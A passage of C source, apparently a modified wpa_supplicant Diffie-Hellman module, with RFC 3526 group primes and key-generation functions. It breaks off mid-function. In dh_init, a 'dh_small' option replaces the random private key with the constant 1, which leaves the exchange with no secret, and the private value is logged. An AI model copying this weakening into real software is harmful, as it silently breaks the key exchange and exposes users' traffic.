0x5D, 0x6C, 0x77, 0x09, 0x88, 0xC0, 0xBA, 0xD9, 0x46, 0xE2, 0x08, 0xE2, 0x4F, 0xA0, 0x74, 0xE5, 0xAB, 0x31, 0x43, 0xDB, 0x5B, 0xFC, 0xE0, 0xFD, 0x10, 0x8E, 0x4B, 0x82, 0xD1, 0x20, 0xA9, 0x3A, 0xD2, 0xCA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; /* RFC 3526, 5. Group 16 - 4096 Bit MODP * Generator: 2 * Prime: 2^4096 - 2^4032 - 1 + 2^64 * { [2^3966 pi] + 240904 } */ static const u8 dh_group16_generator[1] = { 0x02 }; static const u8 dh_group16_prime[512] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D, 0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05, 0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A, 0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F, 0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96, 0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB, 0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D, 0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04, 0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C, 0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B, 0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03, 0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F, 0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9, 0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18, 0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5, 0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10, 0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAA, 0xC4, 0x2D, 0xAD, 0x33, 0x17, 0x0D, 0x04, 0x50, 0x7A, 0x33, 0xA8, 0x55, 0x21, 0xAB, 0xDF, 0x1C, 0xBA, 0x64, 0xEC, 0xFB, 0x85, 0x04, 0x58, 0xDB, 0xEF, 0x0A, 0x8A, 0xEA, 0x71, 0x57, 0x5D, 0x06, 0x0C, 0x7D, 0xB3, 0x97, 0x0F, 0x85, 0xA6, 0xE1, 0xE4, 0xC7, 0xAB, 0xF5, 0xAE, 0x8C, 0xDB, 0x09, 0x33, 0xD7, 0x1E, 0x8C, 0x94, 0xE0, 0x4A, 0x25, 0x61, 0x9D, 0xCE, 0xE3, 0xD2, 0x26, 0x1A, 0xD2, 0xEE, 0x6B, 0xF1, 0x2F, 0xFA, 0x06, 0xD9, 0x8A, 0x08, 0x64, 0xD8, 0x76, 0x02, 0x73, 0x3E, 0xC8, 0x6A, 0x64, 0x52, 0x1F, 0x2B, 0x18, 0x17, 0x7B, 0x20, 0x0C, 0xBB, 0xE1, 0x17, 0x57, 0x7A, 0x61, 0x5D, 0x6C, 0x77, 0x09, 0x88, 0xC0, 0xBA, 0xD9, 0x46, 0xE2, 0x08, 0xE2, 0x4F, 0xA0, 0x74, 0xE5, 0xAB, 0x31, 0x43, 0xDB, 0x5B, 0xFC, 0xE0, 0xFD, 0x10, 0x8E, 0x4B, 0x82, 0xD1, 0x20, 0xA9, 0x21, 0x08, 0x01, 0x1A, 0x72, 0x3C, 0x12, 0xA7, 0x87, 0xE6, 0xD7, 0x88, 0x71, 0x9A, 0x10, 0xBD, 0xBA, 0x5B, 0x26, 0x99, 0xC3, 0x27, 0x18, 0x6A, 0xF4, 0xE2, 0x3C, 0x1A, 0x94, 0x68, 0x34, 0xB6, 0x15, 0x0B, 0xDA, 0x25, 0x83, 0xE9, 0xCA, 0x2A, 0xD4, 0x4C, 0xE8, 0xDB, 0xBB, 0xC2, 0xDB, 0x04, 0xDE, 0x8E, 0xF9, 0x2E, 0x8E, 0xFC, 0x14, 0x1F, 0xBE, 0xCA, 0xA6, 0x28, 0x7C, 0x59, 0x47, 0x4E, 0x6B, 0xC0, 0x5D, 0x99, 0xB2, 0x96, 0x4F, 0xA0, 0x90, 0xC3, 0xA2, 0x23, 0x3B, 0xA1, 0x86, 0x51, 0x5B, 0xE7, 0xED, 0x1F, 0x61, 0x29, 0x70, 0xCE, 0xE2, 0xD7, 0xAF, 0xB8, 0x1B, 0xDD, 0x76, 0x21, 0x70, 0x48, 0x1C, 0xD0, 0x06, 0x91, 0x27, 0xD5, 0xB0, 0x5A, 0xA9, 0x93, 0xB4, 0xEA, 0x98, 0x8D, 0x8F, 0xDD, 0xC1, 0x86, 0xFF, 0xB7, 0xDC, 0x90, 0xA6, 0xC0, 0x8F, 0x4D, 0xF4, 0x35, 0xC9, 0x34, 0x06, 0x31, 0x99, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; /* RFC 3526, 6. Group 17 - 6144 Bit MODP * Generator: 2 * Prime: 2^6144 - 2^6080 - 1 + 2^64 * { [2^6014 pi] + 929484 } */ static const u8 dh_group17_generator[1] = { 0x02 }; static const u8 dh_group17_prime[768] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D, 0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05, 0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A, 0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F, 0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96, 0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB, 0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D, 0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04, 0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C, 0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B, 0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03, 0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F, 0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9, 0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18, 0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5, 0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10, 0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAA, 0xC4, 0x2D, 0xAD, 0x33, 0x17, 0x0D, 0x04, 0x50, 0x7A, 0x33, 0xA8, 0x55, 0x21, 0xAB, 0xDF, 0x1C, 0xBA, 0x64, 0xEC, 0xFB, 0x85, 0x04, 0x58, 0xDB, 0xEF, 0x0A, 0x8A, 0xEA, 0x71, 0x57, 0x5D, 0x06, 0x0C, 0x7D, 0xB3, 0x97, 0x0F, 0x85, 0xA6, 0xE1, 0xE4, 0xC7, 0xAB, 0xF5, 0xAE, 0x8C, 0xDB, 0x09, 0x33, 0xD7, 0x1E, 0x8C, 0x94, 0xE0, 0x4A, 0x25, 0x61, 0x9D, 0xCE, 0xE3, 0xD2, 0x26, 0x1A, 0xD2, 0xEE, 0x6B, 0xF1, 0x2F, 0xFA, 0x06, 0xD9, 0x8A, 0x08, 0x64, 0xD8, 0x76, 0x02, 0x73, 0x3E, 0xC8, 0x6A, 0x64, 0x52, 0x1F, 0x2B, 0x18, 0x17, 0x7B, 0x20, 0x0C, 0xBB, 0xE1, 0x17, 0x57, 0x7A, 0x61, 0x5D, 0x6C, 0x77, 0x09, 0x88, 0xC0, 0xBA, 0xD9, 0x46, 0xE2, 0x08, 0xE2, 0x4F, 0xA0, 0x74, 0xE5, 0xAB, 0x31, 0x43, 0xDB, 0x5B, 0xFC, 0xE0, 0xFD, 0x10, 0x8E, 0x4B, 0x82, 0xD1, 0x20, 0xA9, 0x21, 0x08, 0x01, 0x1A, 0x72, 0x3C, 0x12, 0xA7, 0x87, 0xE6, 0xD7, 0x88, 0x71, 0x9A, 0x10, 0xBD, 0xBA, 0x5B, 0x26, 0x99, 0xC3, 0x27, 0x18, 0x6A, 0xF4, 0xE2, 0x3C, 0x1A, 0x94, 0x68, 0x34, 0xB6, 0x15, 0x0B, 0xDA, 0x25, 0x83, 0xE9, 0xCA, 0x2A, 0xD4, 0x4C, 0xE8, 0xDB, 0xBB, 0xC2, 0xDB, 0x04, 0xDE, 0x8E, 0xF9, 0x2E, 0x8E, 0xFC, 0x14, 0x1F, 0xBE, 0xCA, 0xA6, 0x28, 0x7C, 0x59, 0x47, 0x4E, 0x6B, 0xC0, 0x5D, 0x99, 0xB2, 0x96, 0x4F, 0xA0, 0x90, 0xC3, 0xA2, 0x23, 0x3B, 0xA1, 0x86, 0x51, 0x5B, 0xE7, 0xED, 0x1F, 0x61, 0x29, 0x70, 0xCE, 0xE2, 0xD7, 0xAF, 0xB8, 0x1B, 0xDD, 0x76, 0x21, 0x70, 0x48, 0x1C, 0xD0, 0x06, 0x91, 0x27, 0xD5, 0xB0, 0x5A, 0xA9, 0x93, 0xB4, 0xEA, 0x98, 0x8D, 0x8F, 0xDD, 0xC1, 0x86, 0xFF, 0xB7, 0xDC, 0x90, 0xA6, 0xC0, 0x8F, 0x4D, 0xF4, 0x35, 0xC9, 0x34, 0x02, 0x84, 0x92, 0x36, 0xC3, 0xFA, 0xB4, 0xD2, 0x7C, 0x70, 0x26, 0xC1, 0xD4, 0xDC, 0xB2, 0x60, 0x26, 0x46, 0xDE, 0xC9, 0x75, 0x1E, 0x76, 0x3D, 0xBA, 0x37, 0xBD, 0xF8, 0xFF, 0x94, 0x06, 0xAD, 0x9E, 0x53, 0x0E, 0xE5, 0xDB, 0x38, 0x2F, 0x41, 0x30, 0x01, 0xAE, 0xB0, 0x6A, 0x53, 0xED, 0x90, 0x27, 0xD8, 0x31, 0x17, 0x97, 0x27, 0xB0, 0x86, 0x5A, 0x89, 0x18, 0xDA, 0x3E, 0xDB, 0xEB, 0xCF, 0x9B, 0x14, 0xED, 0x44, 0xCE, 0x6C, 0xBA, 0xCE, 0xD4, 0xBB, 0x1B, 0xDB, 0x7F, 0x14, 0x47, 0xE6, 0xCC, 0x25, 0x4B, 0x33, 0x20, 0x51, 0x51, 0x2B, 0xD7, 0xAF, 0x42, 0x6F, 0xB8, 0xF4, 0x01, 0x37, 0x8C, 0xD2, 0xBF, 0x59, 0x83, 0xCA, 0x01, 0xC6, 0x4B, 0x92, 0xEC, 0xF0, 0x32, 0xEA, 0x15, 0xD1, 0x72, 0x1D, 0x03, 0xF4, 0x82, 0xD7, 0xCE, 0x6E, 0x74, 0xFE, 0xF6, 0xD5, 0x5E, 0x70, 0x2F, 0x46, 0x98, 0x0C, 0x82, 0xB5, 0xA8, 0x40, 0x31, 0x90, 0x0B, 0x1C, 0x9E, 0x59, 0xE7, 0xC9, 0x7F, 0xBE, 0xC7, 0xE8, 0xF3, 0x23, 0xA9, 0x7A, 0x7E, 0x36, 0xCC, 0x88, 0xBE, 0x0F, 0x1D, 0x45, 0xB7, 0xFF, 0x58, 0x5A, 0xC5, 0x4B, 0xD4, 0x07, 0xB2, 0x2B, 0x41, 0x54, 0xAA, 0xCC, 0x8F, 0x6D, 0x7E, 0xBF, 0x48, 0xE1, 0xD8, 0x14, 0xCC, 0x5E, 0xD2, 0x0F, 0x80, 0x37, 0xE0, 0xA7, 0x97, 0x15, 0xEE, 0xF2, 0x9B, 0xE3, 0x28, 0x06, 0xA1, 0xD5, 0x8B, 0xB7, 0xC5, 0xDA, 0x76, 0xF5, 0x50, 0xAA, 0x3D, 0x8A, 0x1F, 0xBF, 0xF0, 0xEB, 0x19, 0xCC, 0xB1, 0xA3, 0x13, 0xD5, 0x5C, 0xDA, 0x56, 0xC9, 0xEC, 0x2E, 0xF2, 0x96, 0x32, 0x38, 0x7F, 0xE8, 0xD7, 0x6E, 0x3C, 0x04, 0x68, 0x04, 0x3E, 0x8F, 0x66, 0x3F, 0x48, 0x60, 0xEE, 0x12, 0xBF, 0x2D, 0x5B, 0x0B, 0x74, 0x74, 0xD6, 0xE6, 0x94, 0xF9, 0x1E, 0x6D, 0xCC, 0x40, 0x24, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; /* RFC 3526, 7. Group 18 - 8192 Bit MODP * Generator: 2 * Prime: 2^8192 - 2^8128 - 1 + 2^64 * { [2^8062 pi] + 4743158 } */ static const u8 dh_group18_generator[1] = { 0x02 }; static const u8 dh_group18_prime[1024] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D, 0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05, 0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A, 0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F, 0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96, 0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB, 0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D, 0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04, 0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C, 0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B, 0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03, 0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F, 0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9, 0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18, 0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5, 0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10, 0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAA, 0xC4, 0x2D, 0xAD, 0x33, 0x17, 0x0D, 0x04, 0x50, 0x7A, 0x33, 0xA8, 0x55, 0x21, 0xAB, 0xDF, 0x1C, 0xBA, 0x64, 0xEC, 0xFB, 0x85, 0x04, 0x58, 0xDB, 0xEF, 0x0A, 0x8A, 0xEA, 0x71, 0x57, 0x5D, 0x06, 0x0C, 0x7D, 0xB3, 0x97, 0x0F, 0x85, 0xA6, 0xE1, 0xE4, 0xC7, 0xAB, 0xF5, 0xAE, 0x8C, 0xDB, 0x09, 0x33, 0xD7, 0x1E, 0x8C, 0x94, 0xE0, 0x4A, 0x25, 0x61, 0x9D, 0xCE, 0xE3, 0xD2, 0x26, 0x1A, 0xD2, 0xEE, 0x6B, 0xF1, 0x2F, 0xFA, 0x06, 0xD9, 0x8A, 0x08, 0x64, 0xD8, 0x76, 0x02, 0x73, 0x3E, 0xC8, 0x6A, 0x64, 0x52, 0x1F, 0x2B, 0x18, 0x17, 0x7B, 0x20, 0x0C, 0xBB, 0xE1, 0x17, 0x57, 0x7A, 0x61, 0x5D, 0x6C, 0x77, 0x09, 0x88, 0xC0, 0xBA, 0xD9, 0x46, 0xE2, 0x08, 0xE2, 0x4F, 0xA0, 0x74, 0xE5, 0xAB, 0x31, 0x43, 0xDB, 0x5B, 0xFC, 0xE0, 0xFD, 0x10, 0x8E, 0x4B, 0x82, 0xD1, 0x20, 0xA9, 0x21, 0x08, 0x01, 0x1A, 0x72, 0x3C, 0x12, 0xA7, 0x87, 0xE6, 0xD7, 0x88, 0x71, 0x9A, 0x10, 0xBD, 0xBA, 0x5B, 0x26, 0x99, 0xC3, 0x27, 0x18, 0x6A, 0xF4, 0xE2, 0x3C, 0x1A, 0x94, 0x68, 0x34, 0xB6, 0x15, 0x0B, 0xDA, 0x25, 0x83, 0xE9, 0xCA, 0x2A, 0xD4, 0x4C, 0xE8, 0xDB, 0xBB, 0xC2, 0xDB, 0x04, 0xDE, 0x8E, 0xF9, 0x2E, 0x8E, 0xFC, 0x14, 0x1F, 0xBE, 0xCA, 0xA6, 0x28, 0x7C, 0x59, 0x47, 0x4E, 0x6B, 0xC0, 0x5D, 0x99, 0xB2, 0x96, 0x4F, 0xA0, 0x90, 0xC3, 0xA2, 0x23, 0x3B, 0xA1, 0x86, 0x51, 0x5B, 0xE7, 0xED, 0x1F, 0x61, 0x29, 0x70, 0xCE, 0xE2, 0xD7, 0xAF, 0xB8, 0x1B, 0xDD, 0x76, 0x21, 0x70, 0x48, 0x1C, 0xD0, 0x06, 0x91, 0x27, 0xD5, 0xB0, 0x5A, 0xA9, 0x93, 0xB4, 0xEA, 0x98, 0x8D, 0x8F, 0xDD, 0xC1, 0x86, 0xFF, 0xB7, 0xDC, 0x90, 0xA6, 0xC0, 0x8F, 0x4D, 0xF4, 0x35, 0xC9, 0x34, 0x02, 0x84, 0x92, 0x36, 0xC3, 0xFA, 0xB4, 0xD2, 0x7C, 0x70, 0x26, 0xC1, 0xD4, 0xDC, 0xB2, 0x60, 0x26, 0x46, 0xDE, 0xC9, 0x75, 0x1E, 0x76, 0x3D, 0xBA, 0x37, 0xBD, 0xF8, 0xFF, 0x94, 0x06, 0xAD, 0x9E, 0x53, 0x0E, 0xE5, 0xDB, 0x38, 0x2F, 0x41, 0x30, 0x01, 0xAE, 0xB0, 0x6A, 0x53, 0xED, 0x90, 0x27, 0xD8, 0x31, 0x17, 0x97, 0x27, 0xB0, 0x86, 0x5A, 0x89, 0x18, 0xDA, 0x3E, 0xDB, 0xEB, 0xCF, 0x9B, 0x14, 0xED, 0x44, 0xCE, 0x6C, 0xBA, 0xCE, 0xD4, 0xBB, 0x1B, 0xDB, 0x7F, 0x14, 0x47, 0xE6, 0xCC, 0x25, 0x4B, 0x33, 0x20, 0x51, 0x51, 0x2B, 0xD7, 0xAF, 0x42, 0x6F, 0xB8, 0xF4, 0x01, 0x37, 0x8C, 0xD2, 0xBF, 0x59, 0x83, 0xCA, 0x01, 0xC6, 0x4B, 0x92, 0xEC, 0xF0, 0x32, 0xEA, 0x15, 0xD1, 0x72, 0x1D, 0x03, 0xF4, 0x82, 0xD7, 0xCE, 0x6E, 0x74, 0xFE, 0xF6, 0xD5, 0x5E, 0x70, 0x2F, 0x46, 0x98, 0x0C, 0x82, 0xB5, 0xA8, 0x40, 0x31, 0x90, 0x0B, 0x1C, 0x9E, 0x59, 0xE7, 0xC9, 0x7F, 0xBE, 0xC7, 0xE8, 0xF3, 0x23, 0xA9, 0x7A, 0x7E, 0x36, 0xCC, 0x88, 0xBE, 0x0F, 0x1D, 0x45, 0xB7, 0xFF, 0x58, 0x5A, 0xC5, 0x4B, 0xD4, 0x07, 0xB2, 0x2B, 0x41, 0x54, 0xAA, 0xCC, 0x8F, 0x6D, 0x7E, 0xBF, 0x48, 0xE1, 0xD8, 0x14, 0xCC, 0x5E, 0xD2, 0x0F, 0x80, 0x37, 0xE0, 0xA7, 0x97, 0x15, 0xEE, 0xF2, 0x9B, 0xE3, 0x28, 0x06, 0xA1, 0xD5, 0x8B, 0xB7, 0xC5, 0xDA, 0x76, 0xF5, 0x50, 0xAA, 0x3D, 0x8A, 0x1F, 0xBF, 0xF0, 0xEB, 0x19, 0xCC, 0xB1, 0xA3, 0x13, 0xD5, 0x5C, 0xDA, 0x56, 0xC9, 0xEC, 0x2E, 0xF2, 0x96, 0x32, 0x38, 0x7F, 0xE8, 0xD7, 0x6E, 0x3C, 0x04, 0x68, 0x04, 0x3E, 0x8F, 0x66, 0x3F, 0x48, 0x60, 0xEE, 0x12, 0xBF, 0x2D, 0x5B, 0x0B, 0x74, 0x74, 0xD6, 0xE6, 0x94, 0xF9, 0x1E, 0x6D, 0xBE, 0x11, 0x59, 0x74, 0xA3, 0x92, 0x6F, 0x12, 0xFE, 0xE5, 0xE4, 0x38, 0x77, 0x7C, 0xB6, 0xA9, 0x32, 0xDF, 0x8C, 0xD8, 0xBE, 0xC4, 0xD0, 0x73, 0xB9, 0x31, 0xBA, 0x3B, 0xC8, 0x32, 0xB6, 0x8D, 0x9D, 0xD3, 0x00, 0x74, 0x1F, 0xA7, 0xBF, 0x8A, 0xFC, 0x47, 0xED, 0x25, 0x76, 0xF6, 0x93, 0x6B, 0xA4, 0x24, 0x66, 0x3A, 0xAB, 0x63, 0x9C, 0x5A, 0xE4, 0xF5, 0x68, 0x34, 0x23, 0xB4, 0x74, 0x2B, 0xF1, 0xC9, 0x78, 0x23, 0x8F, 0x16, 0xCB, 0xE3, 0x9D, 0x65, 0x2D, 0xE3, 0xFD, 0xB8, 0xBE, 0xFC, 0x84, 0x8A, 0xD9, 0x22, 0x22, 0x2E, 0x04, 0xA4, 0x03, 0x7C, 0x07, 0x13, 0xEB, 0x57, 0xA8, 0x1A, 0x23, 0xF0, 0xC7, 0x34, 0x73, 0xFC, 0x64, 0x6C, 0xEA, 0x30, 0x6B, 0x4B, 0xCB, 0xC8, 0x86, 0x2F, 0x83, 0x85, 0xDD, 0xFA, 0x9D, 0x4B, 0x7F, 0xA2, 0xC0, 0x87, 0xE8, 0x79, 0x68, 0x33, 0x03, 0xED, 0x5B, 0xDD, 0x3A, 0x06, 0x2B, 0x3C, 0xF5, 0xB3, 0xA2, 0x78, 0xA6, 0x6D, 0x2A, 0x13, 0xF8, 0x3F, 0x44, 0xF8, 0x2D, 0xDF, 0x31, 0x0E, 0xE0, 0x74, 0xAB, 0x6A, 0x36, 0x45, 0x97, 0xE8, 0x99, 0xA0, 0x25, 0x5D, 0xC1, 0x64, 0xF3, 0x1C, 0xC5, 0x08, 0x46, 0x85, 0x1D, 0xF9, 0xAB, 0x48, 0x19, 0x5D, 0xED, 0x7E, 0xA1, 0xB1, 0xD5, 0x10, 0xBD, 0x7E, 0xE7, 0x4D, 0x73, 0xFA, 0xF3, 0x6B, 0xC3, 0x1E, 0xCF, 0xA2, 0x68, 0x35, 0x90, 0x46, 0xF4, 0xEB, 0x87, 0x9F, 0x92, 0x40, 0x09, 0x43, 0x8B, 0x48, 0x1C, 0x6C, 0xD7, 0x88, 0x9A, 0x00, 0x2E, 0xD5, 0xEE, 0x38, 0x2B, 0xC9, 0x19, 0x0D, 0xA6, 0xFC, 0x02, 0x6E, 0x47, 0x95, 0x58, 0xE4, 0x47, 0x56, 0x77, 0xE9, 0xAA, 0x9E, 0x30, 0x50, 0xE2, 0x76, 0x56, 0x94, 0xDF, 0xC8, 0x1F, 0x56, 0xE8, 0x80, 0xB9, 0x6E, 0x71, 0x60, 0xC9, 0x80, 0xDD, 0x98, 0xED, 0xD3, 0xDF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; #endif /* ALL_DH_GROUPS */ #define DH_GROUP(id) \ { id, dh_group ## id ## _generator, sizeof(dh_group ## id ## _generator), \ dh_group ## id ## _prime, sizeof(dh_group ## id ## _prime) } static struct dh_group dh_groups[] = { DH_GROUP(5), #ifdef ALL_DH_GROUPS DH_GROUP(1), DH_GROUP(2), DH_GROUP(14), DH_GROUP(15), DH_GROUP(16), DH_GROUP(17), DH_GROUP(18) #endif /* ALL_DH_GROUPS */ }; #define NUM_DH_GROUPS (sizeof(dh_groups) / sizeof(dh_groups[0])) const struct dh_group * dh_groups_get(int id) { size_t i; for (i = 0; i < NUM_DH_GROUPS; i++) { if (dh_groups[i].id == id) return &dh_groups[i]; } return NULL; } /** * dh_init - Initialize Diffie-Hellman handshake * @dh: Selected Diffie-Hellman group * @priv: Pointer for returning Diffie-Hellman private key * Returns: Diffie-Hellman public value */ struct wpabuf * dh_init(const struct dh_group *dh, struct wpabuf **priv) { struct wpabuf *pv; size_t pv_len; int retval = 1; if (dh == NULL) return NULL; wpabuf_free(*priv); *priv = wpabuf_alloc(dh->prime_len); if (*priv == NULL) return NULL; if(get_dh_small()) { /* Use small DH secret (1) to reduce calculation time on AP */ if(!memset(wpabuf_put(*priv, 1), 1, 1)) retval = 0; } else { if(os_get_random(wpabuf_put(*priv, dh->prime_len), dh->prime_len)) retval = 0; } if(!retval) { wpabuf_free(*priv); *priv = NULL; return NULL; } if (os_memcmp(wpabuf_head(*priv), dh->prime, dh->prime_len) > 0) { /* Make sure private value is smaller than prime */ *(wpabuf_mhead_u8(*priv)) = 0; } wpa_hexdump_buf_key(/*MSG_INFO*/ MSG_DEBUG, "DH: private value", *priv); pv_len = dh->prime_len; pv = wpabuf_alloc(pv_len); if (pv == NULL) return NULL; if (crypto_mod_exp(dh->generator, dh->generator_len, wpabuf_head(*priv), wpabuf_len(*priv), dh->prime, dh->prime_len, wpabuf_mhead(pv), &pv_len) < 0) { wpabuf_free(pv); wpa_printf(MSG_INFO, "DH: crypto_mod_exp failed"); return NULL; } wpabuf_put(pv, pv_len); wpa_hexdump_buf(MSG_DEBUG, "DH: public value", pv); return pv; } /** * dh_derive_shared - Derive shared Diffie-Hellman key * @peer_public: Diffie-Hellman public value from peer * @own_private: Diffie-Hellman private key from dh_init() * @dh: Selected Diffie-Hellman group * Returns: Diffie-Hellman shared key */ struct wpabuf * dh_derive_shared(const struct wpabuf *peer_public, const struct wpabuf *own_private, const struct dh_group *dh) { struct wpabuf *shared; size_t shared_len; if (dh == NULL || peer_public == NULL || own_private == NULL) return NULL; shared_len = dh->prime_len; shared = wpabuf_alloc(shared_len); if (shared == NULL) return NULL; if (crypto_mod_exp(wpabuf_head(peer_public), wpabuf_len(peer_public), wpabuf_head(own_private), wpabuf_len(own_private), dh->prime, dh->prime_len, wpabuf_mhead(shared), &shared_len) < 0) { 